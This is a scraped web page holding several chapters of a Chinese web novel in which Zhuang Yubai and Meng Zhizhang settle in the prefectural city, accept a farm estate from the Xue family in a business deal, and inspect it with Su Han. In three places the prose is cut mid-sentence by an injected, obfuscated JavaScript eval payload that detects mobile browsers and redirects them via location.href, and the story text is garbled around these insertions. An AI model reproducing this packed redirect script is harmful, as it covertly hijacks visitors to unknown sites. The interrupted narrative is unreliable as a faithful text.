旭日已经出来，零星雪花还在空中飘着。新年第一缕阳光下的小院，被孩子的嬉闹声占满。 孟知彰则在一旁静静看着，忽然一个奇怪的念头涌上来。 或许将来，在院子里嬉闹的会是我们的孩子。 * 凡事宜早不宜迟，过完年二人便开始打包要带去府城的东西。 家中最珍贵、最值钱的，当属孟知彰这满墙书籍。当然，这也是最重、最占地方的。庄聿白无奈又花2两银子雇了辆马车专门装书。 他与孟知彰乘坐的这辆车也没好到哪里去，同样满满当当。 知道他们要去府城，全村人都来往他家马车上塞东西。东家一篮鸡蛋，西家两坛腌菜，都是自家产的，唯恐二人到府城人生地不熟，没的饭吃。 牛婶、柳婶更是恨不能将半个家当搬来，菜园晾晒的蔬菜干，房前打下的枣，酿好的坛肉……要不是庄聿白拦着，连冬储大白菜都要往车里按。货郎张还送来粟哥儿亲自缝制的两个手炉套子。说过年这几日方得空绣好，是个心意，让公子们莫嫌弃。 孟知彰各处细细查看了一遍又一遍。庄聿白知道这是他出生长大的地方，自然难割难舍，心中万千情绪。而此时任何宽慰都是多余的、无意义的。 庄聿白默默走到孟知彰身边，送上一个温暖的笑脸：“我们还会回来的，不是么？” * 齐物山中的雪，更厚，更白。像铺满一地的云朵，缝隙中露出些许青绿。 南先生年前书信中称，冬季天冷，他去南边赏花去了。归期未定。到时学院的院监会来接应。 孟知彰往庄聿白手炉中又添了新炭，房子空了这许久，一时半刻难暖和起来。他将家中两件厚氅都披在庄聿白身上。 山路陡滑，车行缓慢。 庄聿白掀开车帘，几月不见，山中大变了样，刚看见院门，忽从里面飞出来一个猩红色斗篷，如一大片红梅花瓣在雪上飘过。 “琥珀兄！琥珀兄！”薛启辰使劲挥着胳膊，后面跟了两个小厮，求他慢些跑。 看清来人，庄聿白忙从车上翻下，小跑着迎上去：“启辰兄，你怎么在这？” 薛家知道他们今日到，跟院监打过招呼，提前几日派人来打理过一遍。 “今日不只我来，还有一人也来给你们接风。”薛启辰神秘兮兮冲庄聿白挑下眉。 一语未了，院门大开，门中款步走出一名年轻女子。 一袭缎面白狐裘大氅罩身，衣角轻摆间露出里面的一点月台色暗花裙。端庄清冷，清明眉眼中自带一丝英气。如一枝清冷矜贵的白梅，见之忘俗。 “想必二位就是孟公子和庄公子。在下苏晗，久仰！” 薛启辰规矩立在一旁：“这是我家长嫂。” 众人行礼寒暄一番，进得院内。窗明瓦净，不仅正房与东西厢房挂了厚厚的门帘，廊下还有五六只灯笼。 苏晗亲自给二人展示一干陈设布置。 “窗户换了明瓦，清透保暖，比市面上的窗纸亮些。”苏晗淡淡一句带过。 庄聿白可是知道这明瓦的，古代富贵人家的玻璃平替，由贝壳珍珠层、羊角或天然透明云母片制成。但看材料便知价格不菲。 步入室内，三个炭盆暖暖烤着，一路舟车劳顿的庄聿白瞬间放松下来。不过四周一看，惊得倒吸一口冷气。这哪是整理，简直是重新装修了一遍。知道孟知彰书多，顶天立地的大书架靠墙摆了满满一排。 笔墨纸砚、桌椅榻几一应俱全，连被子和枕头都铺了厚厚一床。 “厨房备了些时蔬果品，风炉柴炭等也齐备。另带了些涮锅食材，请二位赐教。” 苏晗声音清冷，动作干练得体。虽面面俱到，又不会给人咄咄逼人之感。将一切轻描淡写，似乎一切理应如此，且本应如此。 庄聿白不清楚是不是错觉，总觉得这份周到细致中，带着点淡淡的疏离感。 这时一小丫头来报，说大公子回来了，此时正往这边策马，已出西门。 苏晗从容清淡的脸上，忽然变了神色。她跟小丫头递了个眼神，转身同孟知彰与庄聿白告辞：“抱歉，失陪了。” 话音刚落，苏晗及身边的随从瞬间撤离，像从没来过一般。 院内刚恢复平静，忽院外一阵马蹄响。跟在薛启原身旁的小厮大步进来，快速看了眼院内，一脸诧异：“二公子，大公子回来了，听闻两位公子回来正要来接风。半路听闻少夫人也在，说少夫人陪着也是一样的，就掉头回去了。” “知道了。告诉兄长，今日我陪着。” 薛启辰摆手让小厮退下，他看出二人的疑惑，讪讪笑了笑，一脸无奈：“习惯就好。” 89. 庄子 天开始飘雪前，薛启辰让小厮们将书册行李等从马车搬下来，并帮着收拾妥当后，也告辞了。 孟知彰和庄聿白用备好的热水，洗去一路尘土和疲累，换了居家宽松衣衫围坐在风炉旁，开始试吃薛家备好的涮锅。 凡事做成了生意，就要讲究一个标准化和易于规模化。比如这几十小碟的涮菜，肉类就有牛肉、羊肉、兔肉、猪肉和鹿肉等常见、易得的，而且根据肉类的不同部位和本身特性，大小厚薄、酱汁多寡也做了区分。时蔬除了常见的菘菜、豆芽、豆腐等常见食材外，也有温室栽培的韭黄、生菜、兰芽等，或切片或切块，厚薄有序，长短井然，大有讲究。 庄聿白越发明白了一件事情。薛家当年能在骆家腥风血雨的围剿下存活下来，靠得绝不是运气，更不会是对手的仁慈。做事细致认真、待人周到诚恳，加上坚韧不屈的韧劲，或许才是薛家成事的关键。 上元节后，书院才正式开学。这几日孟知彰同庄聿白开始收拾带来的书籍、东西等，重新将这个暂时的小家布置起来。 家中用力气的地方，全权交由孟知彰来上。庄聿白身子弱，正一旁坐着喝茶指挥，薛家小厮送来请帖。 景楼雅间，薛氏兄弟已经等在里面，酒盏茶水等也皆准备妥帖。 “你这几日在忙什么？”薛启原示意薛启辰坐自己身旁。 长幼有序，且是家主，外人面前该有的规矩薛启辰还是要守的，兄长不授意，他只能规矩站着。薛启辰见房内无人，落座后又扭动两下，笑说：“兄长是想问长嫂在忙什么吧。” 薛启原没说话，也没看薛启辰，用手从碟子里拿了块糕，举在半空。 薛启辰会意，伸手接过来，心想一块糕就想贿赂我，你自己不去问长嫂，整日拿我当筏子：“我跟长嫂学生意。长嫂在忙什么，我就忙什么。” 此时景楼掌柜的亲自来回话，说菜肴也已齐备，客人一到，立刻或煎或炒或煮或烤，保证每道菜都以最佳状态呈上来。 另一位掌柜忙也抽空跟进来回话，说三七、蒲黄等刀伤药各收上来一千斤，他亲自验过都是上好的，等这批麻沸散齐了，立马往西边发货。 薛启原若有所思地点点头，让那人去了，并再次嘱托不可一味压价，医伤救命之物，质量为上。 几人离开，薛启原转过头，眉梢微挑，知道薛启辰刚才耍滑头，又拿了块糕直接递到他手里。 “昨儿我听谁说了一句，年后从西境过来的那批货误在北边了？” 薛启原是懂如何拿捏他这个弟弟的。一句话成功打开了薛启辰的小喇叭：“说是雪大给误了。我看纯扯淡！怎么这雪是偏偏下给我们一家不成？那骆家的货不正一车一车往城中运呢！因为没了这批时新尖货，现在铺子中的生意被抢去不少，账目也越发不好看。那管事的老掌柜每日来见长嫂，都带着一个厚毛巾，大冬天的不住擦汗！” 薛启辰越说越激动，早从椅子上站起来，指着骆家的方向愤愤不平，忽又意识到什么，笑眯眯坐回薛启原身旁：“兄长又套我话！” 薛启原用巾帕擦了擦手，语气淡淡：“知道了。回去跟你长嫂说，货到之后这个车队不必再用了。至于铺中尖货……不急。” “这尖货是什么？兄长是不是有门路了？”薛启辰笑嘻嘻凑上来，他知道事情若没有十足十的把我，他兄长是不会见薛启原并不打算此刻告诉他，又嘟起嘴，“兄长怎么不去跟长嫂说。就知道使唤我！” 薛启原神情平淡，又拿了块糕，自然地塞进薛启辰嘟嘟囔囔的嘴巴中：“赏你的。不谢。” 窗外伙计来报，孟公子和琥珀公子到了。兄弟二人忙起身迎出去。 几人寒暄一番，庄聿白见只有薛启原和薛启辰，便问少夫人怎么没来，那日辛苦她打点房舍，尚未来得及当面感谢。 府城叱咤风云的薛家大公子，生意场上雷厉风行，杀伐果决，手腕强硬得有时让对手直呼凶狠。这一点，庄聿白也是有所耳闻。不过每每提及家中少夫人，薛启原眉宇间似乎总藏着一股说不出的情绪。整个人也变得有些不淡定，甚至是局促。 孟知彰打圆场：“想来少夫人忙，今后大家见面的机会还多，不急于今日。” 四人分宾主落了座，外面开始呈菜进来。 一道道，一碟碟，让庄聿白大开了眼界，大长了见识。食材之新鲜，烹调之精致，让他一度忘记自己是个见多识广、尝遍众多美食佳肴的现代人。嗐，这才是穿越该有的生活，之前过的都是什么苦日子。 此次设宴，接风洗尘是一方面。再有，就是生意交接。 薛启原做事爽利，让茶炭掌柜一并进来，将这几月的炭窑进展细细说来。 那掌柜带来厚厚一本账册。目前共5口炭窑，3口已经满量生产，2口试运营，最迟下月中旬正式投产。截至昨日，炭窑总计营收215两，除去初期炭窑建设、工具采买、窑工薪水等，结余105两，此前75两已着人送与公子，这是剩下的30两。 掌柜将一袋银两放在桌上，又将根据当下估算，5口炭窑完全投产后的最佳产能说与众人。每月上等魁炭1500斤，50文每斤，这是75两。中等魁炭3000斤，30文每斤，90两。边角料等下等杂炭600斤左右，每月5两银子由后街的一个铁铺全收了去。每月营收可达170两。 至于支出项，掌柜将账册向后翻了几页，指给众人看。 人工占大头，每口窑配备成手师傅1名，制炭工人2名，另有杂役小工2名。每月费用是30到40两。运送车辆及人手等费用另算。 算下来，每月100两利润，应该是有的。 那掌柜合上账册，退出前又道：“当前除了2位师傅，其余用的都是家中庄子上或铺子里的伙计，每日只贴补些饭钱酒钱。但若庄公子请牙子到外面雇人，刚才费用供公子参考，莫要被牙人诓骗。” 庄聿白抿唇点头，心中暗自盘算起来。家中炭窑帮工的都是乡邻，乡亲里道的知根知底且有族中约束着，无需太多管理。 眼下自己接手了炭窑，再占用人家薛家人手说不过去。若临时招些生人，自己原本也人生地不熟，如何管理？真是让人头大。 薛启原没再做任何补充，只尽好他东道主的本分，认真帮着介绍起桌上的菜肴——一盘冬笋炒腊肉。与方才极尽繁复之所能的菜式不同，这盘冬笋看上去甚是家常，不像是景楼在售的菜式。 “冬笋是晨起从近郊那处庄子上现挖的，腊肉也是庄子上饲养的猪肉所制。”薛启原亲自将菜捧至孟知彰和庄聿白面前，“二位试试如何。” 孟知彰知道醉翁之意不在这盘冬笋腊肉，道谢后尝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203595|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一筷，静待后续。 庄聿白试过一筷，忙招呼薛启辰一起：“好吃！冬笋鲜嫩，腊肉鲜香。烹饪火候到位，食材本身极佳。爽脆和酥韧一搭，绝了！” 薛启辰看了他兄长一眼，见没反对，便挽挽袖子和庄聿白一起开心吃起来。 薛启原归座，孟知彰淡淡看了他一眼：“关于这庄子，薛兄但说无妨。” 雅间内候着的掌柜、小厮等人依次退出。薛启原竟认真又详细地介绍起这个庄子，详细到连薛启辰都觉得有些过了。 这是薛家起家时就有的一个老庄子。离城十里，地处东郊，依水而建，上等田50亩，中等田30亩。北面有几片矮山。林子肥厚，山中鱼虾等一年产出不少。庄子现有人家36户，上起掌事下到庄上田户，世代居住与此，皆勤谨本分。 “此前信件中并未言明，庄公子这5口炭窑，齐物山上建了2口，另3口就在这小各庄的山上。而且庄子上有几个早年就开始烧炭的老手。过去几个月炭窑上具体事务，也是几位师傅和助手小工等跟着。” 庄聿白和孟知彰快速交换了个眼神。薛启原的话已经说到这个份上，便不只是一份冬笋腊肉这么简单。 庄聿白正好发愁炭窑人手问题，既然现在所用都是薛家庄子上之人，他信得过薛家，经“薛家严选”的人手，想必也都本分可靠。这些人能继续在窑上帮工再好不过，工钱他按照市面价格支付。 因窑址占地及所有原料用柴等皆出自山中，此前与三省书院山长约定的是盈利五五分。薛家自然也是五五分。 双方不是外人，庄聿白将自己的这份快速草拟的合作协议，口头提出来。 薛启原听罢，谦和点点头，郑重行了个礼：“庄公子爽快人。我薛某是商人，商人最重利益交换。亲兄弟明算账，讲明条件，双方有数，对你我都好。小各庄在薛家名下，薛家自然乐意接受庄公子的这个提议。不过……” “不过什么？大公子有话直说无妨。”庄聿白明白，话说一半，“不过”之后的部分，才是重点。 薛启原也没绕圈子：“薛某听闻庄公子有一门金玉满堂的生意。庄子中鱼虾富饶，人手也够。想来也能支撑庄公子在府城将这门生意做起来。” 庄聿白很以为然，离城不远，材料新鲜充足，确实可以考虑。不过他并没急着表态，他在等薛启原方才那个“不过”之后的内容。 “依着金玉满堂的现有盛名，庄公子想在府城铺开销路不成问题。不过在下还是想自荐一下。”薛启原起身举杯敬二人，满饮，又说，“除了南北杂货行，我薛家食肆、茶坊在府城有十余家门面，生意尚可，皆可对金玉满堂进行铺货分销。听闻这玉片坯可长期存储，方便运送，我薛家南北各地设有十几处分号，与西境、北疆、南域等地也做些往来行商的生意。若能达成此次合作，很快庄公子这金玉满堂便能出现在天南海北的餐桌上。不知庄公子意下如何？” 薛家的商业布局和辐射渠道，是庄聿白再扑腾五年也难达到的高度。既然群山已成，为何还要填海造山、从头做起？站在山顶共享清明盛景，岂不两全其美、各得其所？ 虽未名言，薛启原从庄聿白的神情中得知此时已成了七分，他又举起一杯酒，将剩下三分补齐：“若有幸达成金玉满堂的合作，薛家愿将这小各庄送与庄公子。” 90. 夫人 将一个庄子拱手相送，这大大出乎庄聿白的意料。 庄子是私产，山林湖田、一草一木皆归庄主所有。 佃户租种田地水塘。庄中粮藕鱼虾等所出，与庄主四六分成。田亩数量比上不足比下有余。好在小各庄地理环境优越，山水围绕，旱涝保收。且一年四季所出鱼虾笋子、梅杏桃李等也不少，是个十足十的富庶庄子。 金玉满堂怎么都算是庄聿白的发家之本。若没有这档生意，估计二人还要绕很长一段路才能走到当下这一步。 离开孟家村，没有乡邻帮工，庄聿白也在发愁这档生意如何在府城开展。他原以为薛启原会引荐自家庄子上的佃户，帮忙解决人手问题。谁知对方不仅解决人手、原料，连完整的铺货渠道都铺好了。除了府城，天南海北一路畅通。 为了拿下金玉满堂的独家经销权，以表诚意，竟然将整个庄子送与夫夫二人。 庄聿白没料到薛家出手如此大方，他竟一时不知如何应对。 孟知彰递过来一个眼神，庄聿白会意，也跟着端起酒盏，夫夫二人回敬薛家兄弟。 “合作顺遂。” “诸事顺遂。” 庄聿白明白孟知彰决意接下这个庄子，一定有他接下的道理。或许是认定金玉满堂的独家经销权值一个庄子，或许认定二人与薛家的交情，区区一个庄子不足挂齿。无论如何，这对双方而言都是一个重要信号。利好信号。 一时酒酣人散。 “金玉满堂所能带来之利，不亚于小各庄产出。小各庄在你长嫂名下，想来你长嫂不会有什么异议。”薛启原负手慢慢踱步，又交代薛启辰，“回头将城南那两处大庄子的地契田契翻出来，寄到你长嫂名下。” “兄长，你知道的，长嫂根本不在乎这些！你每次往长嫂名下塞田产寄铺子，她都……” 薛启原猛回头，吓得薛启辰后半句硬生生吞了回去。 薛启原眼神晦暗难明，薄唇轻抿，喉头滚了滚，想说什么终究什么也没说。 薛启辰心中叹气。他并不觉得自己说错了话。明明就是这样嘛。现在家中半数之资都在长嫂名下，可兄长还是不停塞、不停给。 长嫂向来坦荡，面上不说什么，但从她陪嫁侍女这几日的表现不难看出，每次兄长这般做，长嫂便好几日吃不好睡不稳。无一例外。 “过几日你长嫂想必会亲自带庄公子去各庄视察，你也去，好生跟着。天寒地冻，冰雪难行，让车把式路上当心些。” “知道了。”薛启辰应着，他跟长嫂关系好，这些事哪还需他长兄交代。 “还有，这金玉满堂之事，不必在你长嫂面前提我。”薛启原眼眸低沉，似在斟酌如何解释，思虑良久方开口，“就说是你搞定的。” 薛启辰简直要笑哭了。自己兄长无论在外面如何杀伐果决，可一到长嫂的事情上，便慌了阵脚，明显露怯。 “兄长，我几斤几两长嫂还能不清楚？即便我说是我搞定的，恐怕连长嫂身边的墨儿姑娘都不会信。岂能瞒得了长嫂!” “不管你如何说，不许提我。”自己弟弟面前，薛启原难得也耍起了无赖，“还有……” 薛启辰摇摇头，刚想走，以为他兄长想到了更妥善的说辞，忙认真听着。 “庄子上冷，炭盆和手炉多带几个。你长嫂身子弱。” * 薛启辰到长嫂院落告知金玉满堂之事时，正遇到南北货行的周掌柜从里面出来，手里的毛巾又是皱巴巴湿了半条。 “二公子满面春风，是有什么喜事？”周掌柜强打精神同薛启辰问好。 “自然是喜事。周掌柜赶紧回去集结人手，铺子里马上就要忙起来了。” “是误在北边的那批货到了？可老朽今早得到的消息还是……没有消息啊。”周掌柜上前扯住薛启辰的衣角，像是要抓住唯一那根救命稻草。 “不是那批。不过是比那批货强上千倍万倍的货物。”薛启辰笑着往院内走，“信我，您老尽管回去安排人手！具体怎么做，就等我长嫂传你吧。” 苏晗住在薛家西跨院，单独一个院落。 议事厅就设在跨院的西厢房。家里管事及铺子里的掌事都有固定时间来此议事回话，若有急事也会先来此处寻人。 薛启辰绕过影壁墙，但见院内等着三两个管事和小厮，神情严肃，想来也是有要事等着他长嫂拿主意。 门口小丫鬟见薛启辰来了，忙打起缎面丁香色撒花绵帘，并笑着报进去：“二公子来了！” 苏晗陪嫁大丫头墨儿笑着迎出来，接过薛启辰脱下的斗篷：“刚少夫人还说呢，都这会子了，今儿二公子怎么还没来点卯！” 绵帘掀开迎面便是一股淡淡的暖香。议事厅当地放着三只炭盆。苏晗原说过没必要，可办差的人说是大公子特意交代的，天冷，少夫人在的地方至少要用三只，他们不好违命。炭盆而已，这等小事没必要让中间做事的为难，苏晗便任由他们摆了三只。 薛启辰伸手在炭盆上烤烤手，偏头往里间瞅了瞅，是成衣店的掌事在回话。他便不急着进去，笑着同墨儿说：“方才同我兄长出去会客了。墨儿姐姐今天给我留什么好吃的了？” “还真有！一碗牛酥酪，撒上各色干果丁子，好看又好吃。在小厨房热着，我让人端了来。” 薛启辰道过谢，在外间椅子上坐了。酥酪只吃了半盏，里面掌事出来见到薛启辰点头致意，薛启辰也忙起身问好。 这时听里间唤他，薛启辰笑盈盈抬脚进去，同他长嫂问了好。 苏晗垂膝端坐在暖榻上，挽着寻常发髻，简单簪了一支珍珠钗。上身着月白色窄袖缎子袄，下身系一撒花长裙，腿上搭着一条完整的白狐毯，通体纯白无一根杂色。 薛启辰一眼便知这就是他长兄新得的那张皮子。见多识广的掌柜们都赞难得见这样大、这样纯的白狐。千金不换。他长兄也一眼便看上了，说留下自用。可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏晗神色明显有变，她放下茶盏，漫不经心说：“这几日大公子在家，想必有不少话同老太太要说，我就不过去陪老太太用晚饭了。” 薛启辰自然明白，这哪是不去陪老太太，明明不想见到兄长。一家人连个晚饭都凑不齐，老太太心中又该不是滋味了。还能怎么办，眼下这能他薛启辰去装巧卖乖哄老太太开心了。 见薛启辰从西院出来，薛启原站定等他跟上来，看似整理衣袖，视线却不经意往身后扫了一眼，神情既期待又紧张。 “长嫂还要再忙一会子，恐误了老太太饭点，就不过来一起用饭了。”薛启辰恭敬走到薛启原跟前，垂手而立，不敢看他兄长的眼睛。 暮色渐深，一阵冷风灌来，薛启辰不觉拢了拢衣襟。 “嗯。”薛启原轻声应了句，没再说什么，款步朝正房走去。边走便自嘲似地轻轻摇了摇头。 本就不该心存什么希冀。是自己不自量力了。 91. 第 91 章 城东，小各庄，雪霁初晴。 脚程快的薛家小厮先到一步，燃上炭盆，又将议事厅里外仔细巡视一遍。今日是他们家少夫人第一次来，各方面小心些总没错。 管庄人笑着上前搭话：“知道少夫人和二公子要来，提前几日就着人来打扫了。” 那几个小厮道：“想来你们也是知道少夫人的，若有偷懒耍滑、藏奸纳私的想法，趁早收了。今日还有贵客在，都打起精神，小心服侍着。” 周老汉年轻时就在小各庄做管庄人，算是薛家用惯的老人，一做就是二三十年，向来勤谨本分，没出过什么大纰漏。当年薛家也是看着他这一点才将他派到这边打理田庄。如今祖孙三代都在小各庄扎了根。 “爹，您怎么心神不宁的？大公子来，甚至当年老东家和东家来时，都没见您如此。不就是少夫人和两位哥儿公子么，他们养尊处优惯了的，四体不勤五谷不分，这次来八成就是走走过场。您老是老把式，这庄子上的事，大概齐交代个一二分也就成了。” “少混说！哪怕派个牵马小厮来视察，那也是主家的差，我们都应当好生敬着。” 周老汉严厉训斥了儿子几句。这些天他是听到些风声的，知道这回小各庄很可能更名改姓。改朝换代谁不用自己人呢？佃户们仍可以在此种田耕作。可他作为薛家派来的管庄人，想必是要被赶走的。 唉，那也是没办法。周老汉站在议事厅门前台阶上向远处看，白茫茫一片，分不清哪是天哪是地。 雪大路滑，两辆马车白绒绒的雪毯上行进。 厚重的雪缝中露出些蓬勃的深绿之色。 “今冬雪大，等春天开化，冬麦攒了这一冬的能量，就能借着雪水滋养抽枝发条了。” 庄聿白放下车帘，捡了块薛启辰递过来的果子。 “没想到琥珀兄竟然连种田都会！”能到庄子上来玩，薛启辰已经高兴好几天，“去岁秋天你将那什么新型堆肥术的方子送了来，没一个管庄人敢用。是我兄长下了严令并亲自督办，薛家名下所有庄子全部用这新肥，若有减产薛家全部承担。我是不懂的，但据说用了新肥，佃户们都夸苗情明显好过往年。” 庄聿白眼睛渐渐圆了：“我以为大公子会先试种一部分，以观后效。” 正说着，车停了。 苏晗已下车上马，一袭大红猩猩毡斗篷雪地中分外亮眼。 “上马，跟我走！”苏晗勒缰控马，冲跟上来的二人扬下手中马鞭。 “啪！”苍茫天地间响起一计脆响，姐弟三人纵马朝前奔去。 一般田庄视察大都看看账单子。账目都是现成的，此前早按时送至苏家，再看还是那些。 苏晗决定带二人先去实地摸一遍情况。马车笨重，走起来慢，围着庄子转一圈估计小半日过去了。不如骑马来得快。 从田亩耕种情况，到池塘船只渔网状态，再到公用牲口马车农具等看管状况等等，几人地毯式勘查了个遍。炭窑在山上，林深雪厚且没有向导，几人便暂时没去。 姐弟三人一身雪气来至村口时，一众小厮、周老汉及庄上管事主任早等候多时。各个脸上错愕。他们还在这苦等呢，哪曾想少夫人竟从庄子里过来。 苏晗退去大氅，仍是一身利落管家娘子装束，端坐于小各庄的议事厅主座，顾盼生辉，不怒自威。 她摊开周老汉递上来的数年账目，找到最近的，同庄聿白和薛启辰一同翻看。边看边眼神交换，三人心照不宣，暗暗和方才实地看到的情况做核对。 该说不说，这周老汉管庄还算勤谨诚恳，没有猫腻，账目也清楚。而且庄子中各处井然有序，即便知道主家来访临时收拾一通，也收拾不出这般光景。必定是平时也如此。 苏晗先说了几句客套话，请管庄人将庄子里的情况细细介绍一遍。 虽说这少夫人一介女流，两位公子又都是哥儿，但从几人行事做派来看，一辈子老江湖的周老汉却感到一丝从未有过的压迫感。 周老汉自不敢懈怠，将庄中佃户人口、田亩等级数量、去岁产粮情况，山中水塘所出等等一一又说了一遍。 几人认真听着，时不时递个眼神。 庄聿白刚见管庄人时，看对方年岁如此大，心中还在打鼓，一番介绍下来，再次印证“薛家严选”必为精选的道理。 “都细细介绍明白了，可有什么遗漏？”苏晗放下茶盏，目光扫了一眼堂下。 看去文弱单薄的少夫人，只轻描淡写一眼，带出的威仪便让堂上众人各个噤若寒蝉。无人敢吭一声，无人敢动一下。 周老汉硬着头皮上前：“都介绍完毕，并无遗漏。” “可是扯谎。”苏晗声音不大，也算柔和。 周老汉冷汗却要下来了：“并不敢呐，少夫人！” “我来问你，账簿上记着圈中有牛4头，方才我与二位公子去看，确实是4头，这不假。”苏晗顿了顿，看定周老汉，“可这是去岁冬月末的事情。如今正月过去大半，圈中算上那头是刚满月的小牛犊，才是4头。少的那头牛，哪去了？” 周老汉扑通一声跪了，接着人群中有几人也陆续跟着跪下。看来此事确实有猫腻。地上这几人皆是此事知情者，或者说犯事者。 屋内一片死寂，乌压压一屋子人，却连一声呼吸都听不到了。 庄聿白看了眼薛启辰，眼神示意他注意表情管理。下属面前，此时任何稍显惊讶的表情都不合时宜。 去岁上交账目时，圈中确实是4头耕牛。临近年关时，连日大雪，往外运炭遇到了些麻烦。周老汉讲述前因后果，表情愈发凝重：“是老朽临时起念，动用了耕牛。原只想借个力，谁知山路难行，那头耕牛……嗐！” 耕牛对庄户人来讲其重要性不言而喻。折损一头耕牛，比折损两成生产力还严重。 政府向来明令禁止屠宰耕牛，即便是屠杀将死之病牛，那也需报官方批准，拿了凭证才可以。私自宰杀耕牛，可是违法的。而且以防有人屠牛牟利，官方甚至靠行政手段强制压价，牛肉价格比猪肉羊肉等都要便宜。 后来托了隔壁镇子上的一个猎物来将牛拉走了，讨价还价半天只给了1两银子。也就是说，死掉了一头耕牛，就只能白白死掉，甚至连只年猪都不如。 周老汉重重往地上锤了一拳，满心悔恨：“都怪老朽大意。是老朽失职！请少夫人责罚！” 周老汉儿子忙上前跪爬两步：“少夫人！耕牛误伤之事，确实是我们之过，但此事瞒是瞒不住的。我们第一时间便去告知了大公子，并提出多交两成夏粮作为补偿。是……是大公子开了恩典，只罚了我们一个月月银。腊月里又新生了一只牛犊，前后数字都是4，小的们……小的们在账目上便没做更改。” “既然此事大公子知情，”苏晗斟酌了片刻，“那便按大公子的处置行事。不过你这账目上还是应该写明，成牛几头，牛犊几头。” 堂下众人忙起身接过那账簿册子，忙不迭应着说立马就将账目改过来，下次再不敢了。 方才苏晗带二人亲探各庄时，庄聿白便知她胆识过人，英明果决。当下耕牛之事，更展露其有勇有谋、心细如丝、明察秋毫的一面，真乃巾帼不让须眉。 庄聿白对薛家这位少夫人的敬佩之情，不由又多了几分。 苏晗将今后庄子易主之事当众公开言明，又郑重强调：“耕牛之事下不为例。但不管之前还是今后，都没有法不责众的道理。搞监督、举报、连坐之事，又太过不近人情。庄公子是初来府城，但我们薛家在府城可不是一年两年。若谁敢生出那不该有的歪心，藏奸纳私，欺负了庄公子，可别怪薛家不顾念几代人攒下的情分。” 周老汉及庄上管事之人皆点头应着。此前还抱着少夫人一介女流来视察不过走过场心态之人，此时已早心服口服，不该再动他念。 庄聿白与少夫人交换下眼神，起身对众人行了个礼：“在下姓庄名聿白，今后就有劳诸位多多观照了。” 众人哪受得起新家主的行礼，忙呼啦啦跪了。 庄聿白让众人起来。 这庄子是薛家的，但他薛家少夫人苏晗并未藏私护短，甚至还给新主人庄聿白打了一个样，有意无意间也示范了一下如何管理庄子。 庄聿白心中自是感激。但今后总不能出了问题，都跑回去麻烦这位大姐姐。这有些说不过去。 好在关于这庄子如何运作，庄聿白来时也打过腹稿。他先将金玉满堂和茶炭之事言明。众人一听这送到家门口的好营生，情绪立马高扬。 茶炭这几个月的成果，众人都有目共睹，比农闲时去城中帮工赚得还要多，关键离家近。如今又添了这金玉满堂，岂不是家家有份，户户添财。 这哪是新庄主，简直是天降财神爷。 至于如何调度人手，有孟家村成熟经验可循，庄聿白安排起来也心中有数。一窑用几个人，分几个班次，可以出多少炭；几人洗淀粉，几人切坯片，几人负责晾晒、分装等等。 只是初来乍到，庄上人口他并不熟悉。庄聿白让周老汉将庄子上的佃户的花名册准备好，每家每户的情况注明。他自有用处。 几家欢喜几家愁。已经到准备具体花名册的这一步，想来就是人手差事交接了。今后小各庄的茶炭和金玉满堂如何未来可期，他周老汉一家都无缘参与了。 周老汉在这小各庄生活了一辈子，一时也难寻个合适去处。他想了又想，终究厚下脸面颤颤巍巍朝庄聿白郑重跪下。 “这花名册，老朽明日便能整理出来，方便庄主和新的管庄人审阅。只是，只是老朽一家老小在这里生活多年，可否宽限我们在这庄子中再住些时日？” 庄聿白知道，恩威并施，宽严并济，方式用人之策，方是管理之计。他上前亲手将周老汉搀起来。 “您老就是这小各庄的管庄人，您不住在庄上，这是要去哪？今后除了庄中原本所产，茶炭和金玉满堂之事也要劳烦您费心。我看您身子骨还硬朗，再做个三五年不成问题吧。” 周老汉还沉浸在自己被逐出小各庄的忧虑中，一时没反应过来。他缓缓抬起带着岁月痕迹的眼眸，等他意识过来正在发生什么，两行浊泪不禁滚了下来。 “庄子跟了我，规则制度等也是要依着我。今后若有需要，自是该增增，该减减，该调整的调整。只是眼下一切照常运作就很好。” 姐弟三人辞行前，庄聿白给在场众人吃了颗定心丸。 时辰尚早，苏晗和薛启辰直接将庄聿白带去了薛家。 只是庄聿白觉得空手登门很是失礼。 “大家都是一家人，琥珀兄和我们客气什么！”薛启辰笑着撞撞他的肩膀，“别看我长嫂在外面这般严肃，私底下很疼我的，待人也好。今日老太太寺庙还愿去了，我兄长估计晚间才会回来。我们没那么多规矩要守。就跟在长嫂院内用午饭。” 说到她家长嫂的小厨房，薛启辰越发来了兴致：“你可能不知道，我长嫂口味清淡，她院内小厨房的厨师，可是我家兄长花了大价钱从南边请来的。不是我夸口，做出的菜比景楼的还要好吃，今日你试过便知我说的都是真的。” “哇，你长兄对你长嫂真好！”庄聿白发自内心赞叹，“令人羡慕！” 一句话倒让话痨薛启辰不知如何往下接，他想了半天，说了句：“他俩……各自都很好。” 早有小厮报信回家。等姐弟三人到得薛家少夫人的西跨院时，小厨房的饭菜已摆在花厅。 庄聿白往桌上看时，果然不同寻常。菜码不大，皆十分精致考究，单独拿出任何一盘都可圈可点，放置一起，又相得益彰。如一副安排有序的江南早春图，色彩清新，味道淡雅，恰如将一院春景摆上盘盏。 苏晗怕庄聿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 